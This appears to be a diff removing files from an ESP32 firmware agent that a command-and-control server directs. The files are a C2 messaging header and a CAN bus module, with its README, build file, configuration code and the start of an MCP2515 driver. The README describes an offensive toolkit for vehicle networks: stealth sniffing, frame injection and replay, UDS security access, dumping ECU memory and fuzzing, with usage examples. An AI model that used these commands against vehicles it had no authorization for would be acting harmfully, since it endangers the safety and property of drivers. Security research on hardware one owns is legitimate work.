"Command not for this device (target=%s, self=%s)",
cmd->device_id, CONFIG_DEVICE_ID);
return;
}
/* -----------------------------------------------------
* Basic validation
* ----------------------------------------------------- */
if (cmd->command_name[0] == '\0') {
msg_error(TAG, "Empty command name", cmd->request_id);
return;
}
ESP_LOGI(TAG,
"CMD received: %s (argc=%d)",
cmd->command_name,
cmd->argv_count);
/* -----------------------------------------------------
* Dispatch to command engine
* ----------------------------------------------------- */
command_process_pb(cmd);
}

View File

@ -1,239 +0,0 @@
#pragma once
#ifdef __cplusplus
extern "C" {
#endif
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdarg.h>
#include <inttypes.h>
#include <stdio.h>
#include "sdkconfig.h"
#include "esp_log.h"
#include "esp_err.h"
/* >>> CRITIQUE <<< */
#include "c2.pb.h" /* c2_Command, c2_AgentMsgType */
/* ============================================================
* GLOBAL DEFINES
* ============================================================ */
#define MAX_ARGS 10
#define MAX_RESPONSE_SIZE 1024
/* ============================================================
* LOG HELPERS
* ============================================================ */
#ifdef CONFIG_LOG_COLORS
#define ESPILON_LOG_PURPLE "\033[0;35m"
#define ESPILON_LOG_RESET "\033[0m"
#else
#define ESPILON_LOG_PURPLE ""
#define ESPILON_LOG_RESET ""
#endif
static inline void espilon_log_purple(
const char *tag,
const char *fmt,
...
) {
va_list args;
va_start(args, fmt);
printf(ESPILON_LOG_PURPLE "I (%" PRIu32 ") %s: ",
(uint32_t)esp_log_timestamp(), tag);
vprintf(fmt, args);
printf(ESPILON_LOG_RESET "\n");
va_end(args);
}
#define ESPILON_LOGI_PURPLE(tag, fmt, ...) \
espilon_log_purple(tag, fmt, ##__VA_ARGS__)
/* Socket TCP global */
extern int sock;
/* ============================================================
* COM INIT
* ============================================================ */
bool com_init(void);
/* ============================================================
* CRYPTO API (ChaCha20-Poly1305 AEAD + HKDF)
* ============================================================ */
/* Init crypto: read master key from factory NVS, derive via HKDF-SHA256 */
bool crypto_init(void);
/*
* Encrypt (AEAD). Output: nonce[12] || ciphertext || tag[16]
* Returns total output length, or -1 on error.
*/
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
uint8_t *out, size_t out_cap);
/*
* Decrypt + verify (AEAD). Input: nonce[12] || ciphertext || tag[16]
* Returns plaintext length, or -1 on error / auth failure.
*/
int crypto_decrypt(const uint8_t *in, size_t in_len,
uint8_t *out, size_t out_cap);
/* Base64 helpers */
char *base64_decode(const char *input, size_t *output_len);
char *base64_encode(const unsigned char *input, size_t input_len);
/* C2 decode + decrypt + protobuf + exec */
bool c2_decode_and_exec(const char *frame);
/* ============================================================
* ESP C2 Messaging API
* ============================================================ */
bool agent_send(
c2_AgentMsgType type,
const char *source,
const char *request_id,
const void *data,
size_t len,
bool eof
);
/* Helpers globaux */
bool msg_info(
const char *src,
const char *msg,
const char *req
);
bool msg_error(
const char *src,
const char *msg,
const char *req
);
bool msg_data(
const char *src,
const void *data,
size_t len,
bool eof,
const char *req
);
/* ============================================================
* DEVICE
* ============================================================ */
bool device_id_matches(
const char *local_id,
const char *target_id
);
/* ============================================================
* CORE PROCESSING (C2 ESP)
* ============================================================ */
void process_command(
const c2_Command *cmd
);
/*
* Compat legacy optionnel
*/
void process_command_from_buffer(
uint8_t *buffer,
size_t len
);
/* ============================================================
* COMMAND REGISTRY & DISPATCH
* ============================================================ */
#define MAX_COMMANDS 72
#define MAX_ASYNC_ARGS 8
#define MAX_ASYNC_ARG_LEN 64
typedef esp_err_t (*command_handler_t)(
int argc,
char **argv,
const char *request_id,
void *ctx
);
typedef struct {
const char *name;
const char *sub;
const char *help;
int min_args;
int max_args;
command_handler_t handler;
void *ctx;
bool async;
} command_t;
void command_register(const command_t *cmd);
void command_log_registry_summary(void);
void command_process_pb(const c2_Command *cmd);
void command_async_init(void);
void command_async_enqueue(const command_t *cmd, const c2_Command *pb_cmd, int argv_offset);
/* ============================================================
* WIFI
* ============================================================ */
#ifdef CONFIG_NETWORK_WIFI
void wifi_init(void);
void tcp_client_task(void *pvParameters);
void wifi_pause_reconnect(void);
void wifi_resume_reconnect(void);
#endif
/* Fallback: when true, WiFi.c skips its own reconnect logic */
#include <stdatomic.h>
extern atomic_bool fb_active;
/* FakeAP: when true, WiFi.c skips reconnect to avoid interference */
#ifdef CONFIG_MODULE_FAKEAP
extern atomic_bool fakeap_active;
#endif
/* ============================================================
* GPRS
* ============================================================ */
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
#define BUFF_SIZE 1024
#define UART_NUM UART_NUM_1
#define TXD_PIN CONFIG_GPRS_TXD_PIN
#define RXD_PIN CONFIG_GPRS_RXD_PIN
#define PWR_KEY CONFIG_GPRS_PWR_KEY
#define PWR_EN CONFIG_GPRS_PWR_EN
#define RESET CONFIG_GPRS_RESET_PIN
#define LED_GPIO CONFIG_GPRS_LED_GPIO
void setup_uart(void);
void setup_modem(void);
bool connect_gprs(void);
bool connect_tcp(void);
bool connect_tcp_to(const char *ip, int port);
bool gprs_send(const void *buf, size_t len);
void gprs_rx_poll(void);
void close_tcp_connection(void);
void send_at_command(const char *cmd);
#endif
#ifdef CONFIG_NETWORK_GPRS
void gprs_client_task(void *pvParameters);
#endif
#ifdef __cplusplus
}
#endif

View File

@ -1,27 +0,0 @@
set(CANBUS_SRCS
cmd_canbus.c
canbus_driver.c
canbus_config.c
)
if(CONFIG_CANBUS_ISO_TP)
list(APPEND CANBUS_SRCS canbus_isotp.c)
endif()
if(CONFIG_CANBUS_UDS)
list(APPEND CANBUS_SRCS canbus_uds.c)
endif()
if(CONFIG_CANBUS_OBD)
list(APPEND CANBUS_SRCS canbus_obd.c)
endif()
if(CONFIG_CANBUS_FUZZ)
list(APPEND CANBUS_SRCS canbus_fuzz.c)
endif()
idf_component_register(
SRCS ${CANBUS_SRCS}
INCLUDE_DIRS .
REQUIRES core nvs_flash freertos driver
)

View File

@ -1,341 +0,0 @@
# CAN Bus Module (mod_canbus)
Automotive CAN bus offensive module for Espilon, built on the **MCP2515** SPI controller. Supports passive sniffing, frame injection, ISO-TP transport, UDS diagnostics, OBD-II decoding, fuzzing, and replay.
> **Authorization required**: CAN bus interaction with vehicles must be performed only on owned hardware or with explicit written authorization. Unauthorized access to vehicle networks is illegal.
---
## Table of Contents
- [Hardware Requirements](#hardware-requirements)
- [Wiring](#wiring)
- [Configuration](#configuration)
- [Architecture](#architecture)
- [Commands Reference](#commands-reference)
- [Core Commands](#core-commands)
- [UDS Diagnostic Commands](#uds-diagnostic-commands)
- [OBD-II Commands](#obd-ii-commands)
- [Fuzzing Commands](#fuzzing-commands)
- [Frame Format](#frame-format)
- [C3PO Integration](#c3po-integration)
- [Usage Examples](#usage-examples)
- [Troubleshooting](#troubleshooting)
---
## Hardware Requirements
| Component | Role | Cost |
|-----------|------|------|
| **MCP2515 module** | CAN 2.0B controller + TJA1050 transceiver | ~3 EUR |
| **ESP32** | Main MCU (any variant with SPI) | ~5 EUR |
Most MCP2515 modules sold online already integrate the TJA1050 CAN transceiver. Check the oscillator crystal on your module — common values are **8 MHz** and **16 MHz** (must match Kconfig `CANBUS_OSC_MHZ`).
---
## Wiring
Default GPIO mapping (configurable via `idf.py menuconfig`):
```
MCP2515 Module ESP32 (VSPI)
────────────── ────────────
VCC → 3.3V
GND → GND
CS → GPIO 5
MOSI (SI) → GPIO 23
MISO (SO) → GPIO 19
SCK → GPIO 18
INT → GPIO 4 (active low)
```
Connect **CAN_H** and **CAN_L** on the MCP2515 module to the target CAN bus. For OBD-II: pin 6 (CAN_H) and pin 14 (CAN_L).
---
## Configuration
Enable the module in `idf.py menuconfig` under **Modules > CAN Bus Module (MCP2515)**.
### Kconfig Options
| Option | Default | Description |
|--------|---------|-------------|
| `CONFIG_MODULE_CANBUS` | n | Enable the CAN bus module |
| `CANBUS_SPI_HOST` | 3 (VSPI) | SPI host: 2=HSPI, 3=VSPI |
| `CANBUS_PIN_MOSI` | 23 | SPI MOSI GPIO |
| `CANBUS_PIN_MISO` | 19 | SPI MISO GPIO |
| `CANBUS_PIN_SCK` | 18 | SPI SCK GPIO |
| `CANBUS_PIN_CS` | 5 | SPI Chip Select GPIO |
| `CANBUS_PIN_INT` | 4 | MCP2515 interrupt GPIO (active low) |
| `CANBUS_OSC_MHZ` | 8 | Oscillator frequency on MCP2515 module |
| `CANBUS_DEFAULT_BITRATE` | 500000 | Default bus speed (bps) |
| `CANBUS_SPI_CLOCK_HZ` | 10000000 | SPI clock (max 10 MHz) |
| `CANBUS_RECORD_BUFFER` | 512 | Frame ring buffer size (64-2048) |
| `CANBUS_ISO_TP` | y | ISO-TP transport layer (required for UDS/OBD) |
| `CANBUS_UDS` | y | UDS diagnostic services (requires ISO-TP) |
| `CANBUS_OBD` | y | OBD-II PID decoder (requires ISO-TP) |
| `CANBUS_FUZZ` | y | CAN fuzzing engine |
### Supported Bitrates
| Bitrate | Use Case | 8 MHz | 16 MHz |
|---------|----------|-------|--------|
| 1 Mbps | High-speed CAN | - | Yes |
| 500 kbps | Standard automotive | Yes | Yes |
| 250 kbps | J1939 (trucks) | Yes | Yes |
| 125 kbps | Low-speed CAN | Yes | Yes |
| 100 kbps | Diagnostic | Yes | Yes |
---
## Architecture
```
┌─────────────────────────────────────────────────────┐
│ cmd_canbus.c — C2 command handlers (27 cmds)│
│ ↕ │
│ canbus_uds.c — UDS (ISO 14229) services │
│ canbus_obd.c — OBD-II PID decoder │
│ canbus_fuzz.c — Fuzzing engine │
│ ↕ │
│ canbus_isotp.c — ISO-TP (ISO 15765-2) │
│ ↕ │
│ canbus_driver.c — MCP2515 SPI driver + RX task │
│ ↕ │
│ canbus_config.c — NVS persistence │
│ ↕ │
│ ESP-IDF SPI Master — Hardware SPI bus │
└─────────────────────────────────────────────────────┘
```
### File Manifest
| File | Lines | Layer |
|------|-------|-------|
| `canbus_driver.c/.h` | ~920 | MCP2515 SPI + RX/TX + ISR |
| `canbus_isotp.c/.h` | ~480 | Multi-frame CAN transport |
| `canbus_uds.c/.h` | ~440 | Automotive diagnostics |
| `canbus_obd.c/.h` | ~390 | OBD-II PID decode |
| `canbus_fuzz.c/.h` | ~390 | Fuzz testing engine |
| `canbus_config.c/.h` | ~360 | NVS persistence |
| `cmd_canbus.c/.h` | ~1360 | Command handlers + registration |
| **Total** | **~4350** | |
### NVS Persistence
Namespace: `"can_cfg"`
| Key | Type | Content |
|-----|------|---------|
| `bitrate` | i32 | Saved CAN speed |
| `osc_mhz` | u8 | Oscillator frequency |
| `sw_filters` | blob | Up to 16 software filter IDs |
| `ecus` | blob | Discovered UDS ECU IDs |
---
## Commands Reference
### Core Commands
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_start [bitrate] [mode]` | 0-2 | No | Init MCP2515, start bus. Mode: `normal` (default), `listen`, `loopback` |
| `can_stop` | 0 | No | Stop bus, set MCP2515 to config mode |
| `can_send <id_hex> <data_hex>` | 2 | No | Send a single frame. Ex: `can_send 0x7DF 0201000000000000` |
| `can_filter_add <id_hex>` | 1 | No | Add software filter (pass only matching IDs) |
| `can_filter_del <id_hex>` | 1 | No | Remove a software filter |
| `can_filter_list` | 0 | No | List active software filters |
| `can_filter_clear` | 0 | No | Clear all filters (accept everything) |
| `can_status` | 0 | No | Show bus state, config, RX/TX counters, error counters |
| `can_sniff [duration_s]` | 0-1 | **Yes** | Stream frames to C2 for N seconds (default: 10) |
| `can_record [duration_s]` | 0-1 | **Yes** | Record to local ring buffer for N seconds (default: 10) |
| `can_dump` | 0 | **Yes** | Send recorded buffer to C2 |
| `can_replay [speed_pct]` | 0-1 | **Yes** | Replay recorded buffer. 100=real-time, 0=max speed |
### UDS Diagnostic Commands
*Requires `CONFIG_CANBUS_UDS=y` (depends on ISO-TP)*
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_scan_ecu` | 0 | **Yes** | Discover ECUs: scans 0x7E0-0x7E7, 0x700-0x7DF |
| `can_uds <tx_id> <service_hex> [data_hex]` | 2-3 | **Yes** | Raw UDS request |
| `can_uds_session <tx_id> <type>` | 2 | No | DiagnosticSessionControl (1=default, 2=prog, 3=extended) |
| `can_uds_read <tx_id> <did_hex>` | 2 | **Yes** | ReadDataByIdentifier |
| `can_uds_dump <tx_id> <addr_hex> <size>` | 3 | **Yes** | ReadMemoryByAddress (streamed) |
| `can_uds_auth <tx_id> [level]` | 1-2 | **Yes** | SecurityAccess seed request |
### OBD-II Commands
*Requires `CONFIG_CANBUS_OBD=y` (depends on ISO-TP)*
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_obd <pid_hex>` | 1 | **Yes** | Query single PID, returns decoded value |
| `can_obd_vin` | 0 | **Yes** | Read Vehicle Identification Number |
| `can_obd_dtc` | 0 | **Yes** | Read Diagnostic Trouble Codes |
| `can_obd_supported` | 0 | **Yes** | List supported PIDs |
| `can_obd_monitor <pids> [interval_ms]` | 1-2 | **Yes** | Stream PIDs to C2 continuously |
| `can_obd_monitor_stop` | 0 | No | Stop monitoring |
### Fuzzing Commands
*Requires `CONFIG_CANBUS_FUZZ=y`*
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_fuzz_id [start] [end] [delay_ms]` | 0-3 | **Yes** | Iterate all CAN IDs with fixed payload |
| `can_fuzz_data <id_hex> [seed_hex] [delay_ms]` | 1-3 | **Yes** | Mutate data bytes for fixed ID |
| `can_fuzz_random [delay_ms] [count]` | 0-2 | **Yes** | Random ID + random data |
| `can_fuzz_stop` | 0 | No | Stop fuzzing |
---
## Frame Format
Frames streamed to C2 use the format:
```
CAN|<timestamp_ms>|<id_hex>|<dlc>|<data_hex>
```
**Example:**
```
CAN|1708000123456|0x123|8|DEADBEEF01020304
```
### Special Markers
| Marker | Meaning |
|--------|---------|
| `SNIFF_END` | End of sniff session |
| `DUMP_START\|<count>` | Beginning of frame dump |
| `DUMP_END` | End of frame dump |
| `UDS_RSP\|<rx_id>\|<hex>` | UDS response |
| `MEM_DUMP\|<addr>\|<size>` | Start of memory dump |
| `MEM\|<addr>\|<hex_data>` | Memory block |
| `MEM_DUMP_END` | End of memory dump |
| `ECU\|<tx_id>\|<rx_id>` | Discovered ECU |
---
## C3PO Integration
### REST API
CAN frames received from agents are stored in a server-side ring buffer (10,000 frames max).
| Endpoint | Method | Description |
|----------|--------|-------------|
| `/api/can/frames` | GET | List frames. Params: `device_id`, `can_id`, `limit`, `offset` |
| `/api/can/stats` | GET | Frame stats. Params: `device_id` |
| `/api/can/frames/export` | GET | Download CSV. Params: `device_id` |
### TUI Commands
From the C3PO interactive TUI:
```
can stats [device_id] — Frame count, unique CAN IDs
can frames [device_id] [limit] — Display last N frames
can clear — Clear frame store
```
### Transport Integration
CAN frames arrive via `AGENT_DATA` messages with the `CAN|` prefix. The transport layer automatically parses and stores them in `CanStore`.
---
## Usage Examples
### Basic Sniffing (Listen-Only)
```
> can_start 500000 listen # Start in stealth mode (no ACK on bus)
> can_sniff 30 # Stream frames for 30 seconds
> can_stop
```
### Record and Replay
```
> can_start 500000 listen
> can_record 60 # Record for 60 seconds
> can_stop
> can_start 500000 normal # Switch to normal mode for TX
> can_replay 100 # Replay at real-time speed
```
### OBD-II Vehicle Diagnostics
```
> can_start 500000 # Standard automotive bitrate
> can_obd_supported # List what the car supports
> can_obd 0C # Engine RPM
> can_obd 0D # Vehicle speed (km/h)
> can_obd_vin # VIN number
> can_obd_dtc # Read trouble codes
> can_obd_monitor 0C,0D 500 # Stream RPM + speed every 500ms
```
### UDS ECU Exploration
```
> can_start 500000
> can_scan_ecu # Find ECUs on bus
> can_uds_session 0x7E0 3 # Extended session on ECU 0x7E0
> can_uds_read 0x7E0 F190 # Read VIN via DID
> can_uds_read 0x7E0 F191 # Hardware version
> can_uds_auth 0x7E0 1 # SecurityAccess level 1
> can_uds_dump 0x7E0 0x00000000 4096 # Dump 4KB from address 0
```
### Fuzzing (Isolated Bus Only!)
```
> can_start 500000
> can_fuzz_id 0x000 0x7FF 10 # Scan all standard IDs, 10ms delay
> can_fuzz_data 0x7E0 0000000000000000 5 # Mutate bytes on ECU ID
> can_fuzz_stop
```
---
## Troubleshooting
### MCP2515 not detected
- Verify wiring (CS, MOSI, MISO, SCK)
- Check `CANBUS_OSC_MHZ` matches the crystal on your module (8 vs 16 MHz)
- Try `can_start 500000 loopback` — if loopback works, wiring to the bus is the issue
### No frames received
- Confirm bus speed matches the target (500k for cars, 250k for trucks)
- Try `listen` mode first: `can_start 500000 listen`
- Check CAN_H / CAN_L connections and termination (120 ohm)
- Use `can_status` to check error counters — high RX errors indicate speed mismatch
### Bus-off state
- TEC exceeded 255 — the MCP2515 disconnected from the bus
- `can_stop` then `can_start` to reset
- Check for wiring issues or speed mismatch
### RX overflow
- Bus traffic exceeds processing speed
- Reduce bus load or add hardware filters: `can_filter_add <id>`
- Increase `CANBUS_RECORD_BUFFER` in menuconfig
### SPI communication errors
- Reduce `CANBUS_SPI_CLOCK_HZ` (try 8000000 or 4000000)
- Check for long wires or loose connections
- Ensure no other device shares the SPI bus

View File

@ -1,319 +0,0 @@
/*
* canbus_config.c
* NVS-backed persistent config for CAN bus module.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_CANBUS
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "nvs_flash.h"
#include "nvs.h"
#include "canbus_config.h"
#define TAG "CAN_CFG"
#define NVS_NS "can_cfg"
/* NVS keys */
#define KEY_BITRATE "bitrate"
#define KEY_OSC_MHZ "osc_mhz"
#define KEY_FILTERS "sw_filters"
#define KEY_FILTER_CNT "sw_filt_cnt"
#define KEY_ECUS "ecus"
#define KEY_ECU_CNT "ecu_cnt"
/* ============================================================
* Init
* ============================================================ */
void can_config_init(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err == ESP_OK) {
nvs_close(h);
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
} else {
ESP_LOGW(TAG, "NVS open failed: %s", esp_err_to_name(err));
}
}
/* ============================================================
* Bitrate
* ============================================================ */
int can_config_get_bitrate(void)
{
nvs_handle_t h;
int32_t val = CONFIG_CANBUS_DEFAULT_BITRATE;
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
nvs_get_i32(h, KEY_BITRATE, &val);
nvs_close(h);
}
return (int)val;
}
esp_err_t can_config_set_bitrate(int bitrate)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_set_i32(h, KEY_BITRATE, bitrate);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Oscillator
* ============================================================ */
uint8_t can_config_get_osc_mhz(void)
{
nvs_handle_t h;
uint8_t val = CONFIG_CANBUS_OSC_MHZ;
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
nvs_get_u8(h, KEY_OSC_MHZ, &val);
nvs_close(h);
}
return val;
}
esp_err_t can_config_set_osc_mhz(uint8_t mhz)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_set_u8(h, KEY_OSC_MHZ, mhz);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Software Filters (stored as blob of uint32_t array)
* ============================================================ */
int can_config_get_filters(uint32_t *ids_out, int max_ids)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
uint8_t cnt = 0;
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
if (cnt > max_ids) cnt = max_ids;
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_FILTERS, ids_out, &len);
nvs_close(h);
return (int)cnt;
}
static esp_err_t save_filters(nvs_handle_t h, const uint32_t *ids, uint8_t cnt)
{
esp_err_t err = nvs_set_u8(h, KEY_FILTER_CNT, cnt);
if (err != ESP_OK) return err;
if (cnt > 0) {
err = nvs_set_blob(h, KEY_FILTERS, ids, cnt * sizeof(uint32_t));
} else {
nvs_erase_key(h, KEY_FILTERS);
}
if (err == ESP_OK) err = nvs_commit(h);
return err;
}
esp_err_t can_config_add_filter(uint32_t id)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
uint8_t cnt = 0;
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
if (cnt > 0) {
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_FILTERS, ids, &len);
}
/* Check duplicate */
for (int i = 0; i < cnt; i++) {
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
}
if (cnt >= CAN_CFG_MAX_SW_FILTERS) {
nvs_close(h);
return ESP_ERR_NO_MEM;
}
ids[cnt++] = id;
err = save_filters(h, ids, cnt);
nvs_close(h);
return err;
}
esp_err_t can_config_del_filter(uint32_t id)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
uint8_t cnt = 0;
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
if (cnt > 0) {
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_FILTERS, ids, &len);
}
/* Find and remove */
bool found = false;
for (int i = 0; i < cnt; i++) {
if (ids[i] == id) {
memmove(&ids[i], &ids[i + 1], (cnt - i - 1) * sizeof(uint32_t));
cnt--;
found = true;
break;
}
}
if (found) {
err = save_filters(h, ids, cnt);
} else {
err = ESP_ERR_NOT_FOUND;
}
nvs_close(h);
return err;
}
esp_err_t can_config_clear_filters(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = save_filters(h, NULL, 0);
nvs_close(h);
return err;
}
/* ============================================================
* ECU IDs (same pattern as filters)
* ============================================================ */
int can_config_get_ecus(uint32_t *ids_out, int max_ids)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
uint8_t cnt = 0;
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
if (cnt > max_ids) cnt = max_ids;
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_ECUS, ids_out, &len);
nvs_close(h);
return (int)cnt;
}
esp_err_t can_config_add_ecu(uint32_t id)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
uint32_t ids[CAN_CFG_MAX_ECUS] = { 0 };
uint8_t cnt = 0;
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
if (cnt > 0) {
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_ECUS, ids, &len);
}
for (int i = 0; i < cnt; i++) {
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
}
if (cnt >= CAN_CFG_MAX_ECUS) {
nvs_close(h);
return ESP_ERR_NO_MEM;
}
ids[cnt++] = id;
err = nvs_set_u8(h, KEY_ECU_CNT, cnt);
if (err == ESP_OK) err = nvs_set_blob(h, KEY_ECUS, ids, cnt * sizeof(uint32_t));
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
esp_err_t can_config_clear_ecus(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
nvs_set_u8(h, KEY_ECU_CNT, 0);
nvs_erase_key(h, KEY_ECUS);
err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Reset All
* ============================================================ */
esp_err_t can_config_reset_all(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_erase_all(h);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Config reset to defaults");
return err;
}
/* ============================================================
* List (for status responses)
* ============================================================ */
int can_config_list(char *buf, size_t buf_len)
{
int off = 0;
off += snprintf(buf + off, buf_len - off,
"bitrate=%d\nosc_mhz=%u\n",
can_config_get_bitrate(),
can_config_get_osc_mhz());
/* Software filters */
uint32_t fids[CAN_CFG_MAX_SW_FILTERS];
int fcnt = can_config_get_filters(fids, CAN_CFG_MAX_SW_FILTERS);
off += snprintf(buf + off, buf_len - off, "sw_filters=%d:", fcnt);
for (int i = 0; i < fcnt && off < (int)buf_len - 8; i++) {
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)fids[i]);
}
off += snprintf(buf + off, buf_len - off, "\n");
/* Discovered ECUs */
uint32_t eids[CAN_CFG_MAX_ECUS];
int ecnt = can_config_get_ecus(eids, CAN_CFG_MAX_ECUS);
off += snprintf(buf + off, buf_len - off, "ecus=%d:", ecnt);
for (int i = 0; i < ecnt && off < (int)buf_len - 8; i++) {
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)eids[i]);
}
off += snprintf(buf + off, buf_len - off, "\n");
return off;
}
#endif /* CONFIG_MODULE_CANBUS */

View File

@ -1,42 +0,0 @@
/*
* canbus_config.h
* NVS-backed configuration for CAN bus module.
*
* Stores: bitrate, oscillator freq, software filters, discovered ECU IDs.
*/
#pragma once
#include "esp_err.h"
#include <stdint.h>
#include <stdbool.h>
#define CAN_CFG_MAX_SW_FILTERS 16
#define CAN_CFG_MAX_ECUS 16
/* Init NVS namespace (call once at module registration) */
void can_config_init(void);
/* Bitrate (persistent) */
int can_config_get_bitrate(void);
esp_err_t can_config_set_bitrate(int bitrate);
/* Oscillator frequency in MHz (persistent) */
uint8_t can_config_get_osc_mhz(void);
esp_err_t can_config_set_osc_mhz(uint8_t mhz);
/* Software filters — app-level ID whitelist (beyond MCP2515 6 HW filters) */
int can_config_get_filters(uint32_t *ids_out, int max_ids);
esp_err_t can_config_add_filter(uint32_t id);
esp_err_t can_config_del_filter(uint32_t id);
esp_err_t can_config_clear_filters(void);
/* Discovered ECU IDs (for UDS, persistent across reboots) */
int can_config_get_ecus(uint32_t *ids_out, int max_ids);
esp_err_t can_config_add_ecu(uint32_t id);
esp_err_t can_config_clear_ecus(void);
/* Reset all config to defaults */
esp_err_t can_config_reset_all(void);
/* List all config as formatted string (for status response) */
int can_config_list(char *buf, size_t buf_len);

View File

@ -1,815 +0,0 @@
/*
* canbus_driver.c
* MCP2515 CAN 2.0B controller driver via ESP-IDF SPI master.
*
* Architecture:
* GPIO ISR (INT pin, active low) binary semaphore RX task callback
* TX: direct SPI writes to TX buffer 0, poll for completion.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_CANBUS
#include <string.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "driver/spi_master.h"
#include "driver/gpio.h"
#include "esp_timer.h"
#include "esp_log.h"
#include "canbus_driver.h"
#define TAG "CAN_DRV"
/* ============================================================
* MCP2515 SPI Instructions
* ============================================================ */
#define MCP_RESET 0xC0
#define MCP_READ 0x03
#define MCP_WRITE 0x02
#define MCP_BIT_MODIFY 0x05
#define MCP_READ_STATUS 0xA0
#define MCP_RX_STATUS 0xB0
#define MCP_READ_RX0 0x90 /* Read RX buffer 0 starting at SIDH */
#define MCP_READ_RX1 0x94 /* Read RX buffer 1 starting at SIDH */
#define MCP_LOAD_TX0 0x40 /* Load TX buffer 0 starting at SIDH */
#define MCP_RTS_TX0 0x81 /* Request-To-Send TX buffer 0 */
/* ============================================================
* MCP2515 Registers
* ============================================================ */
#define MCP_CANCTRL 0x0F
#define MCP_CANSTAT 0x0E
#define MCP_CNF1 0x2A
#define MCP_CNF2 0x29
#define MCP_CNF3 0x28
#define MCP_CANINTE 0x2B
#define MCP_CANINTF 0x2C
#define MCP_EFLG 0x2D
#define MCP_TEC 0x1C
#define MCP_REC 0x1D
/* RXB0CTRL / RXB1CTRL */
#define MCP_RXB0CTRL 0x60
#define MCP_RXB1CTRL 0x70
/* Filter/mask registers */
#define MCP_RXF0SIDH 0x00
#define MCP_RXF1SIDH 0x04
#define MCP_RXF2SIDH 0x08
#define MCP_RXF3SIDH 0x10
#define MCP_RXF4SIDH 0x14
#define MCP_RXF5SIDH 0x18
#define MCP_RXM0SIDH 0x20
#define MCP_RXM1SIDH 0x24
/* TXB0 registers */
#define MCP_TXB0CTRL 0x30
#define MCP_TXB0SIDH 0x31
/* CANCTRL mode bits */
#define MCP_MODE_NORMAL 0x00
#define MCP_MODE_LISTEN 0x60
#define MCP_MODE_LOOPBACK 0x40
#define MCP_MODE_CONFIG 0x80
/* CANINTF bits */
#define MCP_RX0IF 0x01
#define MCP_RX1IF 0x02
#define MCP_TX0IF 0x04
#define MCP_TX1IF 0x08
#define MCP_TX2IF 0x10
#define MCP_ERRIF 0x20
#define MCP_WAKIF 0x40
#define MCP_MERRF 0x80
/* CANINTE bits */
#define MCP_RX0IE 0x01
#define MCP_RX1IE 0x02
#define MCP_ERRIE 0x20
/* EFLG bits */
#define MCP_EFLG_RX0OVR 0x40
#define MCP_EFLG_RX1OVR 0x80
#define MCP_EFLG_TXBO 0x20
#define MCP_EFLG_RXEP 0x10
#define MCP_EFLG_TXEP 0x08
/* ============================================================
* Bit Timing Tables
* ============================================================ */
typedef struct {
int bitrate;
uint8_t cnf1, cnf2, cnf3;
} can_timing_t;
/* 16 MHz oscillator — TQ = 2/Fosc = 125ns */
static const can_timing_t s_timing_16mhz[] = {
